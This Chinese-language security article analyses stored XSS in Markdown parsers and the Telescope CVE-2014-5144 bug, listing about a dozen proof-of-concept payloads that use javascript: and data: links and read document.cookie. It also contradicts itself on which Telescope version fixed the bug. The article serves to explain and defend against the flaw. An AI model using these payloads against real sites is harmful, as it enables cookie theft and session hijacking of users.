漏洞分析:一個Markdown解析器的持久型XSS漏洞
什么是Markdown?
Markdown是一種輕量級的標記語言,流行程度已經得到了GitHub和Stack Overflow的廣泛支持,作為普通人我們也可以輕松上手。
用markdown來寫文章非常贊,那些瑣碎的HTML標簽都可以拋到腦后不用管。最近5年內,markdown收到非常多的關注,包括Reddit,Github,StackOverflow在內的很多應用都使用 markdown這也催生了很多的markdown解析器的產生,這里定義了一些markdown語法,語法約定markdown解析器將這些標簽解析為html標簽。
Markdown安全現狀
Markdown解析器的安全現狀如何?有沒有對用戶輸入的數據做過濾?
事實上,很多markdown解析器都沒有過濾用戶輸入的數據,那么如果markdown被用于添加用戶評論等功能的時候,就有可能存在安全風險。
這里有一些關于這個問題的討論:[1], [2], [3].
另外,如果用googe搜索一下:
markdown xss issue site:github.com
你就會發現github上又很多***很高的項目都被發現存在XSS 漏洞。
所以,如何構造一些payload呢?看下面這些:
[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
)\
<javascript:prompt(document.cookie)>
<javascript:alert('XSS')>
\
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:alert('XSS'))
\
[citelol]: (javascript:prompt(document.cookie))
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[test](javascript://%0d%0aprompt(1))
[test](javascript://%0d%0aprompt(1);com)
上面這些payload是由Aleksa和原文作者一起搞出來的。在過去的12個月內,在實際滲透測試中證明,上面的這些 payload 是有效的。并且很多 markdown 解析器都受到影響。來看一下***一個payload:
[test](javascript://%0d%0aprompt(1);com)
我們猜測,markdown 解析器可能通過如下幾個步驟來進行解析&轉換:
判斷時候有協議頭?//有javascript 偽協議,Y
hostname 是以常見的域名后綴(com, org)結尾的?//是的,以 com 結尾 Y
將上述 payload 轉換為 HTML 標簽,//結果如下
- <a href="javascript://%0d%0aprompt(1);com>test</a>
成功構造了一個XSS payload!當點擊了上述鏈接后,就會觸發XSS!
Telescope解析器一個持久性 XSS 漏洞(CVE-2014-5144)
Telescope是一個有名的開源項目,類似Reddit和Hackernews一樣,提供一個社區功能。Telescope的一個解析帖子&評論的功能存在 XSS 漏洞,并且這個功能存在很久了!
在0.9.3之前的版本中,以上面的 payload 列表中的 payload 發帖或者發表評論,就可以導致一個XSS漏洞。該漏洞已經修復,Telescope在這里發了changelog:http://www.telesc.pe/blog/telescope-v093-dailyscope/
下面是漏洞對應的payload:
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
注意:上述漏洞已經在Telescope >= 0.7.3版本中修復了。